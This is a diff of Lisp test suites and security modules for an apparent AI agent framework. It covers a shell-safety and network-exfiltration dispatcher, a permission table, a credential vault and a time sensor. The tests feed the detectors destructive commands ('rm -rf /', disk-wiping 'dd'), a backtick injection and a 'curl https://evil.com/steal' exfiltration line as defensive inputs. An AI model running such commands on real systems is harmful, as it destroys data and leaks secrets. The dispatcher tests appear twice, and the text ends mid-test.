(dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false")) + ;; With SELF_BUILD_MODE=false (default), writes pass through + (let ((result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type)))))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-shell-safety-severity-catastrophic + "Contract 3/v0.4.3: destructive commands return :catastrophic severity." + (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) + (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) + (is (eq :catastrophic (getf r1 :severity))) + (is (eq :catastrophic (getf r2 :severity))))) + +(test test-shell-safety-severity-dangerous + "Contract 3/v0.4.3: injection patterns return :dangerous severity." + (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) + (is (eq :dangerous (getf result :severity))))) + +(test test-shell-safety-severity-safe + "Contract 3/v0.4.3: harmless commands return nil." + (is (null (dispatcher-check-shell-safety "echo hello world"))) + (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) + (is (null (dispatcher-check-shell-safety "cat file.txt")))) + +(test test-dispatcher-severity-max + "dispatcher-severity-max returns the higher tier." + (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) + (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) + (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) + (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) + +;; ── v0.7.2 Tag Stack ── + +(test test-tag-categories-load + "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." + (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") + (passepartout::tag-categories-load) + (let ((cats passepartout::*tag-categories*)) + (is (>= (length cats) 1)) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :warn (passepartout::tag-category-severity "@draft"))) + (is (eq :log (passepartout::tag-category-severity "@review")))) + (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) + +(test test-tag-category-severity-unknown + "Contract v0.7.2: unknown tag returns nil." + (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) + +(test test-privacy-severity-block + "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." + (setf passepartout::*tag-categories* '(("@personal" . :block))) + (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) + +(test test-privacy-severity-warn + "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." + (setf passepartout::*tag-categories* '(("@draft" . :warn))) + (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) + +(test test-privacy-severity-nil + "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." + (setf passepartout::*tag-categories* nil) + (is (null (passepartout::dispatcher-privacy-severity '("public"))))) + +(test test-tag-trigger-record + "v0.7.2: tag-trigger-record increments per-tag count." + (clrhash passepartout::*tag-trigger-count*) + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@draft") + (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) + (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) + (clrhash passepartout::*tag-trigger-count*)) + +(test test-tag-categories-privacy-fallback + "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." + (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) + (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) + (saved-tag (uiop:getenv "TAG_CATEGORIES")) + (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) + ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES + (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) + (sb-posix:unsetenv "TAG_CATEGORIES") + (passepartout::tag-categories-load) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :block (passepartout::tag-category-severity "@draft"))) + ;; Restore + (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) + (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) + (passepartout::tag-categories-load))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (if orig-tool + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) + (remhash "write-file" passepartout::*cognitive-tool-registry*))))) +#+end_src* v0.8.0 Tests — Block Counts +#+begin_src lisp +(in-package :passepartout-security-dispatcher-tests) + +(test test-block-record-increments + "Contract 10: dispatcher-block-record increments per-gate count." + (clrhash passepartout::*dispatcher-block-counts*) + (is (= 1 (passepartout::dispatcher-block-record :shell-safety))) + (is (= 2 (passepartout::dispatcher-block-record :shell-safety))) + (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*)))) + +(test test-block-counts-summary + "Contract 11: dispatcher-block-counts-summary returns total and by-gate." + (clrhash passepartout::*dispatcher-block-counts*) + (passepartout::dispatcher-block-record :shell-safety) + (passepartout::dispatcher-block-record :shell-safety) + (passepartout::dispatcher-block-record :secret-path) + (let ((s (passepartout::dispatcher-block-counts-summary))) + (is (= 3 (getf s :total))) + (let ((by-gate (getf s :by-gate))) + (is (= 2 (cdr (assoc :shell-safety by-gate)))) + (is (= 1 (cdr (assoc :secret-path by-gate))))))) + +(test test-block-counts-empty + "Contract 11: dispatcher-block-counts-summary returns zero when no blocks." + (clrhash passepartout::*dispatcher-block-counts*) + (let ((s (passepartout::dispatcher-block-counts-summary))) + (is (= 0 (getf s :total))) + (is (null (getf s :by-gate))))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-self-build-core-protection + "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." + ;; Core paths are recognized + (is (passepartout::dispatcher-check-core-path "core-reason.org")) + (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) + (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) + ;; With SELF_BUILD_MODE=true, core writes produce approval-required + (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let ((result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false")) + ;; With SELF_BUILD_MODE=false (default), writes pass through + (let ((result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type)))))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-shell-safety-severity-catastrophic + "Contract 3/v0.4.3: destructive commands return :catastrophic severity." + (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) + (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) + (is (eq :catastrophic (getf r1 :severity))) + (is (eq :catastrophic (getf r2 :severity))))) + +(test test-shell-safety-severity-dangerous + "Contract 3/v0.4.3: injection patterns return :dangerous severity." + (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) + (is (eq :dangerous (getf result :severity))))) + +(test test-shell-safety-severity-safe + "Contract 3/v0.4.3: harmless commands return nil." + (is (null (dispatcher-check-shell-safety "echo hello world"))) + (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) + (is (null (dispatcher-check-shell-safety "cat file.txt")))) + +(test test-dispatcher-severity-max + "dispatcher-severity-max returns the higher tier." + (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) + (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) + (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) + (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) + +;; ── v0.7.2 Tag Stack ── + +(test test-tag-categories-load + "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." + (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") + (passepartout::tag-categories-load) + (let ((cats passepartout::*tag-categories*)) + (is (>= (length cats) 1)) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :warn (passepartout::tag-category-severity "@draft"))) + (is (eq :log (passepartout::tag-category-severity "@review")))) + (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) + +(test test-tag-category-severity-unknown + "Contract v0.7.2: unknown tag returns nil." + (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) + +(test test-privacy-severity-block + "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." + (setf passepartout::*tag-categories* '(("@personal" . :block))) + (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) + +(test test-privacy-severity-warn + "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." + (setf passepartout::*tag-categories* '(("@draft" . :warn))) + (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) + +(test test-privacy-severity-nil + "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." + (setf passepartout::*tag-categories* nil) + (is (null (passepartout::dispatcher-privacy-severity '("public"))))) + +(test test-tag-trigger-record + "v0.7.2: tag-trigger-record increments per-tag count." + (clrhash passepartout::*tag-trigger-count*) + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@draft") + (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) + (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) + (clrhash passepartout::*tag-trigger-count*)) + +(test test-tag-categories-privacy-fallback + "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." + (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) + (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) + (saved-tag (uiop:getenv "TAG_CATEGORIES")) + (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) + ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES + (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) + (sb-posix:unsetenv "TAG_CATEGORIES") + (passepartout::tag-categories-load) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :block (passepartout::tag-category-severity "@draft"))) + ;; Restore + (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) + (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) + (passepartout::tag-categories-load))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (if orig-tool + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) + (remhash "write-file" passepartout::*cognitive-tool-registry*))))) +#+end_src* v0.8.0 Tests — Block Counts +#+begin_src lisp +(in-package :passepartout-security-dispatcher-tests) + +(test test-block-record-increments + "Contract 10: dispatcher-block-record increments per-gate count." + (clrhash passepartout::*dispatcher-block-counts*) + (is (= 1 (passepartout::dispatcher-block-record :shell-safety))) + (is (= 2 (passepartout::dispatcher-block-record :shell-safety))) + (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*)))) + +(test test-block-counts-summary + "Contract 11: dispatcher-block-counts-summary returns total and by-gate." + (clrhash passepartout::*dispatcher-block-counts*) + (passepartout::dispatcher-block-record :shell-safety) + (passepartout::dispatcher-block-record :shell-safety) + (passepartout::dispatcher-block-record :secret-path) + (let ((s (passepartout::dispatcher-block-counts-summary))) + (is (= 3 (getf s :total))) + (let ((by-gate (getf s :by-gate))) + (is (= 2 (cdr (assoc :shell-safety by-gate)))) + (is (= 1 (cdr (assoc :secret-path by-gate))))))) + +(test test-block-counts-empty + "Contract 11: dispatcher-block-counts-summary returns zero when no blocks." + (clrhash passepartout::*dispatcher-block-counts*) + (let ((s (passepartout::dispatcher-block-counts-summary))) + (is (= 0 (getf s :total))) + (is (null (getf s :by-gate))))) diff --git a/lisp/security-permissions.lisp b/lisp/security-permissions.lisp new file mode 100644 index 0000000..07af4ec --- /dev/null +++ b/lisp/security-permissions.lisp @@ -0,0 +1,44 @@ +(in-package :passepartout) + +(defvar *permission-table* (make-hash-table :test 'equal)) + +(defun permission-set (tool-name level) + "Sets the permission level for a tool." + (setf (gethash (string-downcase (string tool-name)) *permission-table*) level)) + +(defun permission-get (tool-name) + "Retrieves the permission level for a tool. Defaults to :ask." + (gethash (string-downcase (string tool-name)) *permission-table* :ask)) + +(defskill :passepartout-security-permissions + :priority 600 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-permissions-tests + (:use :cl :fiveam :passepartout) + (:export #:permissions-suite)) + +(in-package :passepartout-security-permissions-tests) + +(def-suite permissions-suite :description "Verification of Tool Permissions") +(in-suite permissions-suite) + +(test test-permission-round-trip + "Contract 1: permission-set stores a level; permission-get retrieves it." + (permission-set "test-tool" :allow) + (is (eq :allow (permission-get "test-tool"))) + ;; Clean up + (permission-set "test-tool" nil)) + +(test test-permission-default + "Contract 2: unregistered tools default to :ask." + (is (eq :ask (permission-get "never-registered-tool-xyz")))) + +(test test-permission-case-insensitive + "Contract 3: tool names are normalized to lowercase." + (permission-set :CapitalTool :deny) + (is (eq :deny (permission-get :capitaltool))) + (permission-set "CapitalTool" nil)) diff --git a/lisp/security-policy.lisp b/lisp/security-policy.lisp new file mode 100644 index 0000000..b39d0ac --- /dev/null +++ b/lisp/security-policy.lisp @@ -0,0 +1,50 @@ +(in-package :passepartout) + +(defun policy-compliance-check (action context) + "Enforces constitutional invariants on proposed actions." + (declare (ignore context)) + (let* ((payload (proto-get action :payload)) + (explanation (proto-get payload :explanation))) + (if (and explanation (stringp explanation) (> (length explanation) 10)) + action + (progn + (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") + (list :type :LOG + :payload (list :level :warn + :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) + +(defskill :passepartout-security-policy + :priority 500 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic #'policy-compliance-check) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-policy-tests + (:use :cl :fiveam :passepartout) + (:export #:policy-suite)) + +(in-package :passepartout-security-policy-tests) + +(def-suite policy-suite :description "Verification of the Constitutional Policy Layer") +(in-suite policy-suite) + +(test test-policy-passes-valid-explanation + "Contract 1: action with sufficient explanation passes through unchanged." + (let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today."))) + (result (policy-compliance-check action nil))) + (is (equal action result)))) + +(test test-policy-rejects-short-explanation + "Contract 1: action with explanation ≤10 characters is rejected with :LOG." + (let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi"))) + (result (policy-compliance-check action nil))) + (is (eq :LOG (getf result :type))) + (is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal)))) + +(test test-policy-rejects-missing-explanation + "Contract 1: action without :explanation is rejected." + (let* ((action '(:type :REQUEST :payload (:action :read))) + (result (policy-compliance-check action nil))) + (is (eq :LOG (getf result :type))))) diff --git a/lisp/security-validator.lisp b/lisp/security-validator.lisp new file mode 100644 index 0000000..1038805 --- /dev/null +++ b/lisp/security-validator.lisp @@ -0,0 +1,43 @@ +(in-package :passepartout) + +(defun validator-protocol-check (msg) + "Enforces structural schema compliance on protocol messages." + (validate-communication-protocol-schema msg)) + +(defskill :passepartout-security-validator + :priority 95 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (handler-case + (progn (validator-protocol-check action) action) + (error (c) + (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-validator-tests + (:use :cl :fiveam :passepartout) + (:export #:validator-suite)) + +(in-package :passepartout-security-validator-tests) + +(def-suite validator-suite :description "Verification of the Protocol Validator") +(in-suite validator-suite) + +(test test-validator-passes-valid-message + "Contract 1: a valid message passes protocol check." + (let ((msg '(:type :EVENT :payload (:sensor :heartbeat)))) + (handler-case + (progn + (validator-protocol-check msg) + (pass)) + (error (c) + (fail "Validator rejected a valid message: ~a" c))))) + +(test test-validator-rejects-missing-type + "Contract 1: a message missing :type is rejected." + (let ((msg '(:payload (:sensor :heartbeat)))) + (signals error + (validator-protocol-check msg)))) diff --git a/lisp/security-vault.lisp b/lisp/security-vault.lisp new file mode 100644 index 0000000..cc7df7d --- /dev/null +++ b/lisp/security-vault.lisp @@ -0,0 +1,86 @@ +(in-package :passepartout) + +(defvar *vault-memory* (make-hash-table :test 'equal) + "In-memory cache of sensitive credentials.") + +(defun vault-get (provider &key (type :api-key)) + "Retrieves a credential from the vault or environment." + (let* ((key (format nil "~a-~a" provider type)) + (val (gethash key *vault-memory*))) + (if val + val + (let ((env-var (case provider + (:gemini "GEMINI_API_KEY") + (:openai "OPENAI_API_KEY") + (:anthropic "ANTHROPIC_API_KEY") + (:openrouter "OPENROUTER_API_KEY") + (otherwise nil)))) + (when env-var (uiop:getenv env-var)))))) + +(defun vault-set (provider secret &key (type :api-key)) + "Stores a secret in the vault." + (let ((key (format nil "~a-~a" provider type))) + (setf (gethash key *vault-memory*) secret))) + +(defun vault-get-secret (provider) + "Retrieves a stored secret or token for a gateway provider." + (vault-get provider :type :secret)) + +(defun vault-set-secret (provider secret) + "Stores a secret or token for a gateway provider." + (vault-set provider secret :type :secret)) + +(defskill :passepartout-security-vault + :priority 600 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-vault-tests + (:use :cl :fiveam :passepartout) + (:export #:vault-suite)) + +(in-package :passepartout-security-vault-tests) + +(def-suite vault-suite :description "Verification of the Credentials Vault") +(in-suite vault-suite) + +(test test-vault-round-trip + "Contract 1: vault-set stores a value; vault-get retrieves it." + (let ((test-key :vault-test-round-trip) + (test-secret "secret-abc123")) + (vault-set test-key test-secret) + (is (string= test-secret (vault-get test-key))) + ;; Clean up + (vault-set test-key nil))) + +(test test-vault-missing-key + "Contract 2: vault-get returns NIL for an unset, unknown provider." + (is (null (vault-get :nonexistent-provider-xyz)))) + +(test test-vault-isolation + "Contract 5: storing for provider A does not affect provider B." + (vault-set :vault-prov-a "secret-a") + (vault-set :vault-prov-b "secret-b") + (is (string= "secret-a" (vault-get :vault-prov-a))) + (is (string= "secret-b" (vault-get :vault-prov-b))) + (vault-set :vault-prov-a nil) + (vault-set :vault-prov-b nil)) + +(test test-vault-secret-wrappers + "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret." + (let ((test-provider :vault-secret-test)) + (vault-set-secret test-provider "my-token") + (is (string= "my-token" (vault-get-secret test-provider))) + ;; Clean up + (vault-set-secret test-provider nil))) + +(test test-vault-type-isolation + "Contract 5: different :type values produce different keys." + (vault-set :vault-type-test "key-value" :type :api-key) + (vault-set :vault-type-test "secret-value" :type :secret) + (is (string= "key-value" (vault-get :vault-type-test :type :api-key))) + (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) + (vault-set :vault-type-test nil :type :api-key) + (vault-set :vault-type-test nil :type :secret)) diff --git a/lisp/sensor-time.lisp b/lisp/sensor-time.lisp new file mode 100644 index 0000000..78079b0 --- /dev/null +++ b/lisp/sensor-time.lisp @@ -0,0 +1,169 @@ +(in-package :passepartout) + +(defvar *session-start-time* nil + "Universal time when sensor-time skill was loaded.") + +(defun session-duration () + "Returns duration in seconds since skill load, or nil if not initialized." + (when *session-start-time* + (- (get-universal-time) *session-start-time*))) + +(defun sensor-time-initialize () + "Record session start and register deadline-scanning cron." + (setf *session-start-time* (get-universal-time)) + (handler-case + (when (fboundp 'orchestrator-register-cron) + (orchestrator-register-cron "time-tick" + :action (lambda () (sensor-time-tick)) + :tier :reflex + :repeat "+1m")) + (error (c) + (log-message "SENSOR-TIME: Could not register cron: ~a" c)))) + +(defun format-time-for-llm (&key (session-duration-seconds nil)) + "Returns a TIME: section string for the system prompt. +When TIME_AWARENESS=false, returns empty string. +TIME_FORMAT: iso = 2026-05-08T06:30:00Z, natural = 6:30 AM UTC, Thu May 8 2026. +When session-duration-seconds is provided, includes session info." + (unless (or (uiop:getenv "TIME_AWARENESS") + (not (string-equal "false" (or (uiop:getenv "TIME_AWARENESS") "true")))) + (return-from format-time-for-llm "")) + (let ((time-aware (uiop:getenv "TIME_AWARENESS"))) + (when (and time-aware (string-equal time-aware "false")) + (return-from format-time-for-llm ""))) + (multiple-value-bind (sec minute hour date month year day daylight zone) + (decode-universal-time (get-universal-time) 0) + (declare (ignore daylight zone)) + (let* ((format (or (uiop:getenv "TIME_FORMAT") "iso")) + (iso-str (format nil "~4,'0d-~2,'0d-~2,'0dT~2,'0d:~2,'0d:~2,'0dZ" + year month date hour minute (round sec))) + (day-names '("Mon" "Tue" "Wed" "Thu" "Fri" "Sat" "Sun")) + (month-names '("Jan" "Feb" "Mar" "Apr" "May" "Jun" + "Jul" "Aug" "Sep" "Oct" "Nov" "Dec")) + (natural-str (format nil "~2,'0d:~2,'0d UTC, ~a ~a ~d ~d" + hour minute (nth day day-names) + (nth (1- month) month-names) date year)) + (time-str (if (string-equal format "natural") natural-str iso-str)) + (dur-str (when session-duration-seconds + (let* ((hours (floor session-duration-seconds 3600)) + (mins (floor (mod session-duration-seconds 3600) 60))) + (if (> hours 0) + (format nil " Session: ~dh ~dm." hours mins) + (format nil " Session: ~dm." mins)))))) + (if dur-str + (format nil "TIME: ~a.~a" time-str dur-str) + (format nil "TIME: ~a." time-str))))) + +(defvar *deadline-warning-minutes* nil) + +(defun sensor-time-tick () + "Scans memory for approaching deadlines. Returns a formatted note string +if any deadlines are within *deadline-warning-minutes*, nil otherwise. +Called by the time-tick cron job every minute." + (let ((warning-min (or *deadline-warning-minutes* + (ignore-errors + (parse-integer (uiop:getenv "DEADLINE_WARNING_MINUTES"))) + 60))) + (setf *deadline-warning-minutes* warning-min) + (let ((now (get-universal-time)) + (deadlines nil)) + (maphash (lambda (id obj) + (declare (ignore id)) + (let ((attrs (memory-object-attributes obj))) + (let ((deadline (getf attrs :DEADLINE)) + (scheduled (getf attrs :SCHEDULED)) + (title (getf attrs :TITLE))) + (dolist (prop (list deadline scheduled)) + (when prop + (handler-case + (let* ((parsed (parse-integer prop :junk-allowed t)) + (d-minutes (if parsed + (- (round (/ (- parsed now) 60)) + warning-min) + nil))) + (when (and d-minutes (< d-minutes warning-min)) + (push (list :title title + :minutes (- (round (/ (- (or parsed 0) now) 60)))) + deadlines))) + (error () nil))))))) + *memory-store*) + (when deadlines + (let* ((sorted (sort deadlines #'< :key (lambda (d) (getf d :minutes)))) + (parts (loop for d in sorted collect + (let* ((mins (getf d :minutes)) + (label (cond + ((< mins 0) (format nil "~dmin overdue" (- mins))) + ((= mins 0) "now") + (t (format nil "~dmin" mins))))) + (format nil "~a (~a)" (getf d :title) label))))) + (format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts)))))) + +(sensor-time-initialize) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-sensor-time-tests + (:use :cl :fiveam :passepartout) + (:export #:sensor-time-suite)) + +(in-package :passepartout-sensor-time-tests) + +(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") +(in-suite sensor-time-suite) + +(test test-format-time-for-llm-includes-year + "Contract 1: format-time-for-llm returns a string with the current year." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "202" result)) + (is (search "TIME" result)))) + +(test test-format-time-for-llm-utc + "Contract 1: iso format includes Z suffix." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "Z" result)))) + +(test test-format-time-for-llm-natural + "Contract 1: natural format produces human-readable date." + (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) + (unwind-protect + (progn + (setf (uiop:getenv "TIME_FORMAT") "natural") + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "UTC" result)))) + (setf (uiop:getenv "TIME_FORMAT") old-env)))) + +(test test-format-time-for-llm-with-session + "Contract 1: with session duration, includes session info." + (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) + (is (search "1h 2m" result)))) + +(test test-session-duration + "Contract 2: 